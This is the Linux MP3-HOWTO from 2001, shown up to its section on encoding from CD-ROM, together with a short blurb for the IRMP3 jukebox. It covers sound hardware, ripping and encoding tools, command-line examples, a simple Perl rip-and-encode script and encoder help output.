  • IRMP3 is a multimedia audio jukebox for Linux. IRMP3's strength is that it easily integrates into home, car, and mobile environments (where a keyboard/screen interface may not always be available). It supports several input and display devices such as infrared remote controls, LCD displays, network connections, and serial keypads. It includes a robust set of tools like alarms, sound environments, mixers, sleep functions, and more. It supports MP3 players and network-ready control & status monitoring, and includes a flexible, modularized source which allows functionality to be easily extended with user-developed code. www.dpotter.com/irmp3


The Linux MP3-HOWTO

By Phil Kerr, phil@plus24.com

v1.61, 2001-12-16

This document describes the hardware, software and procedures needed to encode, play, mix and stream MP3 sound files under Linux.

1. Introduction.

2. Copyright of this document.

3. Where to get this document.

  • 3.1 Translations

4. Acknowledgments.

5. Disclaimer.

6. Hardware Requirements & Performance Issues.

7. Software Requirements.

  • 7.1 Rippers & WAV Recorders
  • 7.2 Encoders
  • 7.3 Players
  • 7.4 Streaming Servers
  • 7.5 Mixing
  • 7.6 ID3 Editors
  • 7.7 Stream Grabbers
  • 7.8 Misc

8. Setting up your system.

  • 8.1 Setting up for Analogue Audio Capture
  • 8.2 Setting up for CD-ROM Audio Capture
  • 8.3 Additional Setting up

9. Encoding from Audio.

10. Encoding from CD-ROM.

  • 10.1 Command Line encoding
  • 10.2 GUI Based Encoders
  • 10.3 Encoder Performance

11. Streaming MP3's.

  • 11.1 Icecast
  • 11.2 Fluid
  • 11.3 Litestream
  • 11.4 Apache::MP3 Module
  • 11.5 Firewall Bypassing
  • 11.6 Bandwidth considerations
  • 11.7 Copyright Issues

12. Listening to MP3's.

  • 12.1 Playing from File
  • 12.2 Playing from MP3 Streams
  • 12.3 Capturing MP3 Streams
  • 12.4 Mixing

13. ID3 Editing.

  • 13.1 id3ed
  • 13.2 mp3info
  • 13.3 ID3 Genre codes

14. MP3 to Minidisc.

  • 14.1 Analog Recording
  • 14.2 Digital Recording
  • 14.3 Playlists

15. Feedback.


The Linux MP3-HOWTO : Introduction.

 Next Previous Contents

1. Introduction.

This document describes the hardware, software and procedures needed to encode, play, mix and stream MP3 sound files under Linux.

It covers:

  • Encoding MP3's from a live or external source
  • Encoding MP3's from audio CD's
  • Streaming MP3's over a network
  • Listening to MP3's
  • Recording MP3 streams
  • Mixing MP3's
  • Editing ID3 information


The Linux MP3-HOWTO : Copyright of this document.

 Next Previous Contents

2. Copyright of this document.

This HOWTO is copyrighted 1999, 2000 Phil Kerr.

This document is distributed under the terms of the GNU Free Documentation License. You should have received a copy along with it. If not, it is available from http://www.fsf.org/licenses/fdl.html.


The Linux MP3-HOWTO : Where to get this document.

 Next Previous Contents

3. Where to get this document.

The official version of this document can be obtained from the Linux Documentation Project http://www.linuxdoc.org/.

The homepage for the most recent version of this HOWTO is: http://www.mp3-howto.com

3.1 Translations

This HOWTO has been translated into the following languages:

Please note that translations may be slightly out of date from this document as, naturally enough, the translations take time.

Korean

http://kldp.org/HOWTO/MP3-HOWTO By Lee,So-min <animator@nownuri.net>

French

http://www.freenix.org/unix/linux/HOWTO/MP3-HOWTO.html By Arnaud Gomes-do-Vale <arnaud@carrosse.frmug.org>

Hungarian

http://free.netlap.hu/howto/MP3-HOGYAN.html By Andras Timar <atimar@itp.hu>

Italian

ftp://ftp.pluto.linux.it/pub/pluto/ildp/HOWTO/MP3-HOWTO By Mariani Dario <darkpand@uni.net>

Spanish

http://www.insflug.org/documentos/MP3-Como By Arielo <larocka@yahoo.com>

Dutch

http://nl.linux.org/doc/HOWTO/MP3-HOWTO-NL.html By Reggy Ekkebus <reggy@zeelandnet.nl>

Japanese

http://www.linux.or.jp/JF/JFdocs/MP3-HOWTO.html By Saito Kan <can-s@geocities.co.jp>

Slovene

http://www.lugos.si/delo/slo/HOWTO-sl/MP3-HOWTO-sl.html By Jernej Kovacic <jkovacic@email.si>

Many thanks to the above translators. If you can translate this HOWTO, please drop the author an email. Also please state the URL where the translation will be housed.


The Linux MP3-HOWTO : Acknowledgments.

 Next Previous Contents

4. Acknowledgments.

In writing this HOWTO I have had to draw heavily on the Sound-HOWTO By Jeff Tranter, and the Sound-Playing-HOWTO By Yoo C. Chung.

Thanks also to the other HOWTO authors whose works I have referenced:

Linux System Administrators Guide By Lars Wirzenius.

Linux Network Administrators Guide By Olaf Kirch.

Multi Disk System Tuning HOWTO By Stein Gjoen.

Also a big thank-you to all who have sent in feedback, comments and bug-reports.


The Linux MP3-HOWTO : Disclaimer.

 Next Previous Contents

5. Disclaimer.

Use the information in this document at your own risk.

I disavow any potential liability for the contents of this document.

Use of the concepts, examples, and/or other content of this document is entirely at your own risk.

All copyrights are owned by their owners, unless specifically noted otherwise.

Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.


The Linux MP3-HOWTO : Hardware Requirements & Performance Issues.

 Next Previous Contents

6. Hardware Requirements & Performance Issues.

Digital Audio processing is a resource intensive task that relies heavily on the processing and I/O capabilities of a system. I would strongly recommend a Pentium class machine as a minimum.

If you are going to be encoding from an analogue audio source via the line or microphone input, a PCI soundcard will give the best results. The I/O performance difference between an ISA and PCI based card is significant, over 132 MBytes/sec for PCI (quote taken from the PCI-HOWTO). Naturally, the better the quality of the soundcard in terms of its signal-to-noise ratio, the better the encoded MP3. I've been using the Soundblaster PCI128 and just switched over to a Soundblaster Live Value; both cards give good audio performance, but the Live has significantly better S/N ratios, good enough for semi-pro audio work. Remember the old data processing maxim:- garbage in - garbage out!

Creative have a Beta driver for the Soundblaster Live! which can be downloaded from:

http://developer.soundblaster.com/linux/

When recording analogue audio to a hard disk, more commonly referred to as direct to disk or d2d recording, the performance of the disk, and its interface is critical. If you are using an IDE based based system, mode 4 or UDMA is preferable as the transfer rate is sufficiently high enough to provide reliable data transfer without problems.

The ideal solution would be to use a SCSI based system as the drives and interface have far better throughput capabilities, a sustained 5MB/sec for SCSI 1 through to 40-80MB/sec for ultra-ultra2/wide SCSI. IDE can peak at anything from 8.3 MB/s to 66 MB/s for Ultra DMA mode 4 but these speeds are peak, average transfer rates will be slower. If you can find, or afford, an AV SCSI drive, go for it. AV drives have had the read/write head system optimised for continuous data transference; other SCSI and IDE drives normally cannot sustain continuous data transfer as the write head heats up!

Naturally a drive that has cache will give more consistent results than one that doesn't, as the cache will act as a buffer if the heads do lift or it cannot handle the throughput.

If your drive isn't up to spec, your recording will suffer from dropouts and glitches, where the drive failed to record the signal. If you are recording one-off events, such as live performances invest in a good SCSI based disk system.

Another cause of d2d dropouts is a heavily loaded system. Background tasks can cause the system to momentarily glitch. Its recommended to run as few background services as you can, especially networked based services. For more information about setting network services, and startup scripts please refer to the SAG and NAG guides.

Virtual memory paging will also cause glitches, so run with as much physical RAM as you can, I'd recommend at least 32 Mb, but you may well need more.

For those wanting to extract the most out of their system, optimising the kernel probably wouldn't do any harm either.

For streaming MP3's the better the network card the better the throughput, naturally a 100Mb interface will give better throughput than a 10Mb interface :)

While the hardware specifications above will give you a decent system to encode audio data, don't discount using older, lower spec kit if that's all you have access to.

It'll be a good challenge for a sys-admin to tweak a low-spec system to give good results, and the end result will probably be a happier Linux box.

Another important issue is the audio cabling. Cheap, poor quality cables and connectors will result in poor recording quality. If your soundcard has the option to use phono, sometimes referred to as RCA connectors, use them. Gold plated contacts will also help maintain audio quality, as will keeping audio cables away from data cables as there will be a chance of interference between them.

But don't forget, spending a fortune on the best audio cabling will be lost if the rest of the system hasn't been optimised.

For encoding MP3's from CD-ROM, the speed or type of drive will determine the time taken to read the raw information from it. A single speed drive will probably be too slow for all but the most patient.

Your CD-ROM must be connected to your soundcard if you want to hear what you are recording, either using the internal connector or by connecting headphone's to the headphone output, although you will not be able to listen to MP3's through the CD-ROM headphone socket!

For detailed instructions on setting up soundcards, now would be an excellent time to read the Sound-HOWTO.


The Linux MP3-HOWTO : Software Requirements.

 Next Previous Contents

7. Software Requirements.

Converting audio to MP3's is normally a 2 stage process, first the audio is recorded into a WAV format, then the WAV is then converted into an MP3. Some utilities will do both processes in one go for you.

The format you wish to encode audio from, CD or direct audio, will determine what software tools you need to produce the WAV file.

If you are wanting to encode from audio input, you will need a program that will record from your soundcard's input and save the results in a WAV format. Below are some useful utilities (most of the comments are taken from the respective website of the app.)

7.1 Rippers & WAV Recorders

To grab from analog audio line-in. Wavrec

Wavrec is distributed as part of wavplay, which can be downloaded from:-

ftp://sunsite.unc.edu/pub/Linux/apps/sound/players/

To convert CD audio data to WAV format, sometimes known as CD ripping:

CDDA2WAV

http://metalab.unc.edu/pub/Linux/apps/sound/cdrom/

Cdparanoia

Cdparanoia is a Compact Disc Digital Audio (CDDA) extraction tool, commonly known on the net as a 'ripper'. The application is built on top of the Paranoia library, which is doing the real work (the Paranoia source is included in the cdparanoia source distribution). Like the original cdda2wav, cdparanoia package reads audio from the CDROM directly as data, with no analog step between, and writes the data to a file or pipe in WAV, AIFC or raw 16 bit linear PCM. Compared to cdda2wav, it's much slower but really gets the best results you can get even from CDs that are difficult to rip for scratches or other read-errors.

http://www.xiph.org/paranoia/index.html

RipEnc

RipEnc is a bourne shell script frontend to Cdparanoia, cdda2wav, tosha and Bladeenc, 8hz-mp3, l3enc. It utilizes CDDB lookups to automate the naming of songs as they are ripped. A manual naming option is also available. The entire CD can be ripped or you can pick the songs to rip. ID3 tags are also supported.

http://www.asde.com/~mjparme/index.htm

Cd2mp3

cd2mp3 is a freeware software, designed to handle 2 other programs cdda2wav(that rips the tracks from cd) and lame (that encodes the mp3s)

http://sertaozinho.org/cd2mp3/index.html

RipperX

RipperX is a GTK program to rip CD audio and encode mp3s. It has plugins for cdparanoia, BladeEnc, Lame Mp3 encoder, XingMp3enc, 8hz-mp3 and the ISO v2 encoder. It also has support for CDDB and ID3 tags.

http://www.digitallabyrinth.com/linux/ripperX/

Grip

Grip is a GTK-based CD-player and CD-ripper/MP3-encoder. It has the ripping capabilities of cdparanoia built in, but can also use external rippers (such as cdda2wav). It also provides an automated frontend for MP3 encoders, letting you take a disc and transform it easily straight into MP3s. The CDDB protocol is supported for retrieving track information from disc database servers. Grip works with DigitalDJ to provide a unified "computerized" version of your music collection.

http://www.nostatic.org/grip/

7.2 Encoders

To convert the WAV file to MP3 format you will need an encoder:

Blade's MP3 Encoder

BladeEnc is a freeware MP3 encoder. It is based on the same ISO compression routines as mpegEnc, so you can expect roughly the same, or better, quality . The main difference is the appearance and speed. BladeEnc doesn't have a nice, user-friendly interface like mpegEnc, but it is more than three times faster, and it works with several popular front-end graphical user interfaces.

http://bladeenc.cjb.net

Lame

In the great history of GNU naming, LAME stands for LAME Ain't an Mp3 Encoder. LAME is not an mp3 encoder. It is a GPL'd patch against the dist10 ISO demonstration source. LAME is totally incapable of producing an mp3 stream. It is incapable of even being compiled by itself. You need the ISO source for this software to work. The ISO demonstration source is also freely available, but any commercial use (including distributing free encoders) may require a license agreement from FhG (Fraunhofer Gesellschaft, Germany).

http://www.sulaco.org/mp3/

Gogo

This is a very fast MP3 encoder for x86-CPU, which is based on LAME ver 3.29beta and optimized by PEN@MarineCat, Keiichi SAKAI, URURI, kei and shigeo. (You will also need to download NASM to compile the source, which can be found http://www.web-sites.co.uk/nasm/)

http://homepage1.nifty.com/herumi/gogo_e.html

7.3 Players

To play the MP3's you will naturally need a player:

Xmms (Formerly known as X11Amp)

This player has most of the features as Winamp from Windows 95/98/NT but it will of course feature some specials only available for the Linux version.

http://www.xmms.org

Xaudio

Xaudio is a very fast and very robust multi platform solution for Digital Audio playback, especially targeted at MPEG Audio (MP1, MP2 and MP3) decoding.

http://www.xaudio.com

AlsaPlayer

AlsaPlayer is a new type of PCM player. It is heavily multi-threaded and tries to exercise the ALSA library and driver quite a bit. It has some very interesting features unique to Linux/Unix players. The goal is to create a fully pluggable framework for playback of all sorts of media with the focus on PCM audio data. Full speed (pitch) control, positive *and* negative! First Linux- and only GPL player that does this!! MP3's and CD's do varispeed :)

http://www.alsa-project.org/~andy/

mpg123

What is mpg123? It is a fast, free and portable MPEG audio player for Unix. It supports MPEG 1.0/2.0 layers 1, 2 and 3 (those famous "mp3" files), and it has been tested on a wide variety of platforms, including Linux, FreeBSD, NetBSD, SunOS, Solaris, IRIX, HP-UX and others. For full CD quality playback (44 kHz, 16 bit, stereo) a Pentium (or fast 486), SPARCstation10, DEC Alpha or similar CPU is required. Mono and/or reduced quality playback (22 kHz or 11 kHz) is even possible on slower 486 CPUs.

http://www.mpg123.org

Freeamp

FreeAmp is an extensible, cross-platform audio player. It features an optimized version of the GPLed Xing MPEG decoder which makes it one of the fastest and best sounding players available. FreeAmp provides a number of the most common features users have come to expect in a clean, easy to use interface.

http://www.freeamp.org/

7.4 Streaming Servers

Streaming servers allow you to 'broadcast' MP3's across a network, whether this is your intranet or the internet itself.

Icecast

Welcome! Icecast is a Mpeg Layer III Audio broadcasting system brought to you by the linuxpower.org team. Icecast comes bundled with iceplay, and icedir. Iceplay is a playlist streamer that will allow you to send pre-encoded files to your Icecast server.

http://www.icecast.org/

Fluid

Fluid Streaming Server is a program for streaming media over networks and in its current form using the mp3 format.

http://www.subside.com/fluid/ (old site)

http://fluid.sourceforge.net/ (new site)

Litestream

Litestream is an Open Source, infinitely scalable high-capacity MP3 streaming system for Unix.

http://www.litestream.net/

Apache::MP3

Module for streaming MP3's using the Apache WebServer.

This module takes a hierarchy of directories containing MP3 files and presents it as a browsable song library for streaming over the web.

[Available from CPAN]

7.5 Mixing

LiveIce

LiveIce is the source client for Icecast which encodes an mpeg stream for broadcast as it is created. Unlike clients such as Shout and IceDJ this permits the broadcast of live audio, rather than prerecorded mp3's.

LiveIce is bundled with Icecast, newer versions together with documentation may be found at the website below:

http://star.arm.ac.uk/~spm/software/liveice.html

eMixer

eMixer is an easy-to-use front-end to mpg123 that allows you to play and mix two mp3 streams together. The ability to mix two mp3s makes eMixer act like a cross-fader, effectively giving the user DJ-like capabilities from the computer console. eMixer is also very able in a "real time" party environment. eMixer is based on the original mp3 mixing code upon which liveice's mixing component is built.

http://emixer.linuxave.net/

GDAM

GDAM is real-time digital dj mixing software package. Any number of mp3 files can be played and mixed simultaneously. Effects can be added, changed, and rearranged dynamically. GDAM features a client-server architecture; all sound is produced by a server, which receives instructions from any number of clients. Other features include plugins for audio effects and interface components, caching and looping, sequencing, assisted beatmatching, a waveform viewer/beat calculator, contiguous queuing (no pauses between songs when using a playlist), an online help system, an mpg123 clone which runs on a gdam server, flexible command line interface for direct control of server, recording of entire mix or any point in stream to buffer/disk/mp3 encoder, support for multiple sound devices, and support for midi hardware control.

http://gdam.org/

alternative:

http://gdam.sourceforge.net

7.6 ID3 Editors

id3ed

id3ed is an ID3 tag editor for mp3 files. You can set tags interactively or from the command line, or a combination of both. id3ed can set genre by name or number. You can also remove or view tags.

http://www.azstarnet.com/~donut/programs/id3ed.html

mp3info

MP3info is a small utility for reading and writing MPEG Layer 3 (MP3) ID3 tags. Console (command-line and interactive ncurses) and GTK versions are included.

http://metalab.unc.edu/mp3info/

7.7 Stream Grabbers

Streamripper

Streamripper records shoutcast streams. If the stream contains track info (meta data), streamripper creates a separate file for each track.

http://streamripper.sourceforge.net/

Wget

GNU Wget is a freely available network utility to retrieve files from the World Wide Web using HTTP and FTP, the two most widely used Internet protocols. It works non-interactively, thus enabling work in the background, after having logged off.

Wget is far more than a stream grabber!

ftp://ftp.gnu.org/gnu/wget/

7.8 Misc

Volume Normalization

Wavnorm

If you have encoded live audio, or have encoded from older cd's you may find variations in the overall sound level.

To change the encoded volume levels of the MP3's you will need to normalise them using wavnorm.

http://www.zog.net.au/computers/wavnorm/

SOX

Sox is a very handy sound conversion utility which I'd recommend having, and you will need it if you wish to use wavnorm.

ftp://sunsite.unc.edu/pub/Linux/apps/sound/convert/

You may also need a mixer program; Xmixer works well and is included with most distributions.


The Linux MP3-HOWTO : Setting up your system.

 Next Previous Contents

8. Setting up your system.

This section will describe the basics of setting up your Linux system to record audio from either an analogue or CD-ROM source.

I'm basing this section around my Intel based Linux system which is running Redhat, but should be reasonably distribution neutral. If you have any success in using this HOWTO on other hardware, please get in touch.

Naturally a reasonable prerequisite is a working soundcard. At this point in the HOWTO, I invite you to read the excellent Linux Sound HOWTO, by Jeff Tranter. After which a good read of the Linux Sound Playing HOWTO, by Yoo C. Chung. Both of the above mentioned HOWTO's cover the details of getting a sound system working under Linux far better than I could.

8.1 Setting up for Analogue Audio Capture

Firstly, set up your audio. There are a multitude of ways to route audio before it gets to your Linux box, some common ones are:

Line out to Soundcard Line in. Most audio devices have a Line output sockets. Line level is a standard that specifies what voltage the audio device will send out. If I remember correctly it is 500mV for domestic and Semi Pro devices, and 750mV for Pro audio devices. I would guess that the standard set for most soundcards will be 500mV, but some of the newer Pro audio may be to the higher standard It shouldn't make too much difference unless you are recording at very high levels.

The Line level output is normally used to connect HI-FI equipment to an amplifier, so things such as Tape Decks, Radio Tuners, CD players, DAT machines and Mini-Disc players should connect without problem. Turntables can be more of a problem, see below for more information.

You could capture audio from VCR's as well. Most VCR's will either have Line out for sound, or you can Get a Line out from a SCART socket if your VCR has one.

Amplifier Tape out to Soundcard Line in, Soundcard Line out to Amplifier Tape in. This configuration is essentially replacing a traditional tape recorder connected to your HI-FI amplifier with your Linux system. The Soundcard Line out to Tape in allows monitoring of the recording levels.

Mike to Soundcard Mike in. The voltages generated by microphones is very much smaller than those used in Line level devices. If you were to plug a Microphone into the Soundcard Line in, chances are you would never record anything.

WARNING, doing the reverse, plugging a Line level device into the Soundcards Microphone input, can damage your soundcard!!

Turntable to Mike in.

Many thanks to Mark Tranchant for the following.

The raw output from a record deck cartridge is very low level. However, you cannot plug it directly into a microphone input and expect good results. The output requires equalization, as records are mastered with less bass and more treble to optimize the physics of the moving needle. This equalization is carefully defined and referred to as RIAA equalization. You *need* to run the output through a phono preamp first, and then into a line input.

Music keyboards & synths should be connected to the Soundcards Line in, with guitars connecting to Line in via a DI (Direct Injection, used to convert the signal to Line level) box.

Before you plug in anything into your soundcard, make sure the volume levels are turned down to minimum, or if using microphones they are either turned off or away from speakers.

8.2 Setting up for CD-ROM Audio Capture

Setting up your Linux system to extract audio data from CD-ROM is reasonably straight forward.

If you can hear a track playing from your CD-ROM through your speakers or amplifier, connected to your soundcard, then there's a reasonable chance you should be able to record from it.

8.3 Additional Setting up

Log in as per normal to your system, then using a mixer program set the recording levels that are loud enough to give you a decent recording level, but aren't too loud and distorting. I normally just judge this by ear, after a while you'll get to know what levels are best for your kit.

I recommend either turning off all unnecessary services or switching to the single user runlevel, especially when encoding from an audio source. This is to ensure that the bare minimum of services are running and thus minimising system glitches when recording.

I've set up a separate SCSI drive, exclusively to record the audio to, which I'll refer to as /mp3. I've done this mainly for the performance gains in using a SCSI drive. Also, recording onto a dedicated drive, where you are almost certain the head isn't going to suddenly skip to another part of the drive as you are writing audio data to it, is a good thing :)

For details on setting up a Linux system with multiple disk drives, a good read of the Multi-Disk-HOWTO, by Stein Gjoen may be useful.


The Linux MP3-HOWTO : Encoding from Audio.

 Next Previous Contents

9. Encoding from Audio.

Firstly, make sure you have enough space on your drive. At CD quality, 44.1 Khz 16 Bit stereo, 1 minute takes nearly 10 Mb (5 MB per channel).

I normally record at DAT quality, which is 48 Khz 16 Bit stereo.

Using wavrec I use the following syntax:

[dj@megajukebox]$ /usr/local/bin/wavrec -t 60 -s 48000 -S /mp3/temp.wav
The first part is an explicit path to wavrec. The '-t 60' specifies the length of time to record for, in seconds.

The third option, -s 48000 refers to the sample rate in samples/sec. (48000 is the rate for DAT, 44100 is CD)

The last option is the path to the output file.

To see the full set of options, run waverec -help, or see it's man page.

This will produce your WAV file Next you will need to encode it into MP3 format.

Use bladdenc with the following command line.

[dj@megajukebox]$ /usr/local/bin/bladeenc <em/[source file] [destination file]/ -br 256000

The -br option sets the bit rate, in this case I've set the rate to the maximum rate of 256k bits/s. The path to bladeenc may also be different on your system to the one I've used in my example.

To see the full set of options, run bladeenc -help, actually this is an invalid option, but will display the list of options.

The same encoding using Lame (as well as Gogo as it is based on Lame) would need the command line

[dj@megajukebox]$ /usr/local/bin/lame <em/[source file] [destination file]/ -b 256


The Linux MP3-HOWTO : Encoding from CD-ROM.

 Next Previous Contents

10. Encoding from CD-ROM.

In a similar way to encoding from audio, encoding from CD is a 2 stage process. Firstly the audio data is extracted from the cd and converted into a wav file. Then the wav file is converted into MP3.

There are basically 2 types of encoders, console based and X based. Both do the same job, but the X based are easier to use (and look nicer).

Again, before you start to encode, check you will have enough drive space on your system.

10.1 Command Line encoding

I've written a very simple Perl script that will rip and encode tracks from a CD.

#!/usr/bin/perl

if ($ARGV[0] ne "") {

$count = 1;

do {

$cdcap = system("cdparanoia", $count, "/mp3/cdda.wav");
$track = "$ARGV[1]/track".$count.".mp3";
$enc = system("bladeenc  /mp3/cdda.wav $track -br 256000");
$count++;

}
until $count > $ARGV[0];
exit;
}

else {
print "Usage cdriper [no of tracks] [destination directory]\n\n";
}
Please note: The above script is very basic and has nothing fancy, like error checking or CDDB. Improve at your leisure :)

The main lines of interest are:

$cdcap = system("cdparanoia", $count, "/mp3/cdda.wav");

This line calls the CD ripper, cdparanoia. Cdparanoia converts raw CD audio data to WAV format.

I'm using Cdparanoia, but if you wish to use CDDA2WAV, the command line would be:

$cdcap = system("cdda2wav", $count, "/mp3/cdda.wav");

The salient options are $count, which is the number of tracks to rip, and then the path for the outputted WAV file. In my example this will go to a tmp directory on my MP3 SCSI drive.

The WAV file is then converted into a MP3 file using Bladeenc.

I've written this Perl script in order to rip a CD without having to rip and encode each track, and without having to use the batch mode of Cdparanoia. This cuts down on free disk space needed as Cdparanoia's batch mode will rip the whole disk, and take up anything upto 600 Meg.

If you wanted to use Lame or Gogo, replace the encoder line with:

$enc = system("lame  /mp3/cdda.wav $track -b 256");
or
$enc = system("gogo  /mp3/cdda.wav $track -b 256");

Here is a dump of the available option for each of the encoders.

Bladeenc

BladeEnc 0.91    (c) Tord Jansson          Homepage: http://bladeenc.mp3.no
===============================================================================
BladeEnc is free software, distributed under the Lesser General Public License.
See the file COPYING, BladeEnc's homepage or www.fsf.org for more details.

Usage: bladeenc [global switches] input1 [output1 [switches]] input2 ...

General switches:
  -[kbit], -br [kbit]  Set MP3 bitrate. Default is 128 (64 for mono output).
  -crc                 Include checksum data in MP3 file.
  -delete, -del        Delete sample after successful encoding.
  -private, -p         Set the private-flag in the output file.
  -copyright, -c       Set the copyright-flag in the output file.
  -copy                Clears the original-flag in the output file.
  -mono, -dm           Produce mono MP3 files by combining stereo channels.
  -leftmono, -lm       Produce mono MP3 files from left stereo channel only.
  -rightmono, -rm      Produce mono MP3 files from right stereo channel only.
  -swap                Swap left and right stereo channels.
  -rawfreq=[freq]      Specify frequency for RAW samples. Default is 44100.
  -rawbits=[bits]      Specify bits per channel for RAW samples. Default is 16.
  -rawmono             Specifies that RAW samples are in mono, not stereo.
  -rawstereo           Specifies that RAW samples are in stereo (default).
  -rawsigned           Specifies that RAW samples are signed (default).
  -rawunsigned         Specifies that RAW samples are unsigned.
  -rawbyteorder=[order]Specifies byteorder for RAW samples, LITTLE or BIG.
  -rawchannels=[1/2]   Specifies number of channels for RAW samples. Does
                       the same as -rawmono and -rawstereo respectively.

Global only switches:
  -quit, -q            Quit without waiting for keypress when finished.
  -outdir=[dir]        Save MP3 files in specified directory.
  -quiet               Disable screen output.
  -nocfg               Don't take settings from the config-file.
  -prio=[prio]         Sets the task priority for BladeEnc. Valid settings are
                       HIGHEST, HIGHER, NORMAL, LOWER, LOWEST(default) and IDLE
  -refresh=[rate]      Refresh rate for progress indicator. 1=fastest, 2=def.
  -progress=[0-8]      Which progress indicator to use. 0=Off, 1=Default.

Input/output files can be replaced with STDIN and STDOUT respectively.

Lame

LAME version 3.50 (www.sulaco.org/mp3)
GPSYCHO: GPL psycho-acoustic model version 0.74.

USAGE   :  lame [options] <infile> [outfile]

<infile> and/or <outfile> can be "-", which means stdin/stdout.

OPTIONS :
    -m mode         (s)tereo, (j)oint, (f)orce or (m)ono  (default j)
                    force = force ms_stereo on all frames. Faster and
                    uses special Mid & Side masking thresholds
    -b <bitrate>    set the bitrate, default 128kbps
                    (for VBR, this sets the allowed minimum bitrate)
    -s sfreq        sampling frequency of input file(kHz) - default 44.1
  --resample sfreq  sampling frequency of output file(kHz)- default=input sfreq
  --mp3input        input file is a MP3 file
  --voice           experimental voice mode

    -v              use variable bitrate (VBR)
    -V n            quality setting for VBR.  default n=4
                    0=high quality,bigger files. 9=smaller files
    -t              disable Xing VBR informational tag
    --nohist        disable VBR histogram display

    -h              use (maybe) quality improvements
    -f              fast mode (low quality)
    -k              disable sfb=21 cutoff
    -d              allow channels to have different blocktypes
  --athonly         only use the ATH for masking

    -r              input is raw pcm
    -x              force byte-swapping of input
    -a              downmix from stereo to mono file for mono encoding
    -e emp          de-emphasis n/5/c  (obsolete)
    -p              error protection.  adds 16bit checksum to every frame
                    (the checksum is computed correctly)
    -c              mark as copyright
    -o              mark as non-original
    -S              don't print progress report, VBR histograms

  Specifying any of the following options will add an ID3 tag
     --tt <title>     title of song (max 30 chars)
     --ta <artist>    artist who did the song (max 30 chars)
     --tl <album>     album where it came from (max 30 chars)
     --ty <year>      year in which the song/album was made (max 4 chars)
     --tc <comment>   additional info (max 30 chars)

MPEG1 samplerates(kHz): 32 44.1 48
bitrates(kbs): 32 48 56 64 80 96 112 128 160 192 224 256 320

MPEG2 samplerates(kHz): 16 22.05 24
bitrates(kbs): 8 16 24 32 40 48 56 64 80 96 112 128 144 160

Gogo

GOGO-no-coda ver. 2.24 (Feb 12 2000)
Copyright (C) 1999 PEN@MarineCat and shigeo
          Special thanks to Keiichi SAKAI, URURI, Noisyu and Kei
This is based on LAME3.29beta and distributed under the LGPL
usage
gogo inputPCM [outputPCM] [options]

 inputPCM is input  wav file
if input.wav is `stdin' then stdin-mode
outputPCM is output mp3 file (omissible)

options
-b  kbps     bitrate [kpbs]
-br bps      bitrate [ bps]
-silent      dont' print progress report
-off         {3dn,mmx,kni(sse),e3dn}
-v {0,..,9}  VBR [0:high quality 9:high compression]
             You should combine this with -b option
for only RAW-PCM input
-offset bytes skip header size
  -8bit       8bit-PCM [dflt 16bit-PCM]
  -mono       mono-PCM [dflt stereo-PCM]
  -bswap      low, high byte swapping for 16bitPCM
  -s kHz      freq of PCM [dflt 44.1kHz]
-nopsy       disable psycho-acoustics
-m  {s,m,j}  output format s:stereo, m:mono, j:j-stereo
-d  kHz      change sampling-rate of output MP3
-emh {n,c,5} de-emphasis
-lpf {on,off} 16kHz filter [dflt use if <= 128kbps; not use if >= 160kbps]
-test        benchmark mode
-delete      delete input file, after encoding

RipEnc

RipEnc performs the same task as the code above, but is written in shell and is easier to use :)

Here's what it looks like.

RipEnc version 0.7, Copyright (C) 1999  Michael J. Parmeley
<mjparme@asde.com>, RipEnc comes with ABSOLUTELY NO WARRANTY

There is currently NO encoding process running in the background
Your encode.log file is 982607 bytes long.

<Enter 'd' for details, 'v' to view the encode log, or 'del' to delete the encode log>

1) Change working directory....................[/megajukebox/tmp]
2) Choose encoder..............................[lame]
3) Choose ripper...............................[cdparanoia]
4) Choose id3 tool.............................[none]
5) Toggle between Manual and CDDB naming.......[manual]
6) Setup XMCD_LIBDIR variable for CDA..........[/var/X11R6/lib/xmcd]
7) Set preferred naming convention.............[artist-name_of_song.mp3]
8) Rip whole CD?...............................[no]
9) Set small hard drive option?................[no]
10) Please select your Cd-Rom device...........[/dev/cdrom]
11) Set the Bitrate for the encoded MP3's......[256]
12) List the files in your working directory
13) Start
14) About
15) Exit
?

CD2MP3

Cd2mp3 is a single pass cdda to MP3 encoder. It will convert a audio track to MP3 without producing an intermediate wav file.

Here's how it looks in operation:

[dj@megajukebox]$ cd2mp3 options ALL
Using language: 1 - English.
Translator: Gustavo Sverzut Barbieri(k-s) <gsbarbieri@hotmail.com>

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Cd2Mp3 1.0 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Author: Gustavo Sverzut Barbieri (k-s) <gsbarbieri@hotmail.com.br>
*** device: -D/dev/cdrom        type: -Icooked_ioctl
*** audio device: /dev/dsp
*** preset: tape
*** copyright: Yes
*** author:
*** album:

recording: '1' as 'track-1.mp3' (wait)
        Ok! (recorded)
recording: '2' as 'track-2.mp3' (wait)

Naturally you can feed it options from the command-line, here is a list:

dj@megajukebox]$ cd2mp3 --help

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Cd2Mp3 1.0 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Author: Gustavo Sverzut Barbieri (k-s) <gsbarbieri@hotmail.com.br>
Usage:
  cd2mp3 options <track_number>="<track name>" ... <track_number>="<track name>"or:  cd2mp3 options ALL  (to record all tracks)
or: cd2mp3 options LIST=<reclist_path>  (to read pairs: <track_number>="<track name>" from a file)
ou: cd2mp3 options PLAY=<track_number> VOL=[0..100] (only plays the track)

Options:
  DEV=<cdrom_device> (default: /dev/cdrom)
  DEV_TYPE=[generic_scsi|cooked_ioctl] (default: cooked_ioctl)
  AUDIO_DEV=<audio_device>  (default:/dev/dsp)
  LANGUAGE=<language_number> (LANGUAGE=help to see supported languages)
  COPYRIGHT=[YES|NO]
  PRESET=[phone|voice|fm|tape|hifi|cd|studio] (PRESET=help will give more info)
  ALBUM="<album's title>"
  AUTHOR="<author's name>"

10.2 GUI Based Encoders

GUI based encoders offer all the functionality of console based encoding, but wrap it all up in a nice easy to use interface. Grip and RipperX are similar in operation, both offer you the ability to select one, several or all tracks on a CD and convert them. They also offer CDDB support which allows you to retrieve the album and track information from a server and saves you having to enter the information by hand.

10.3 Encoder Performance

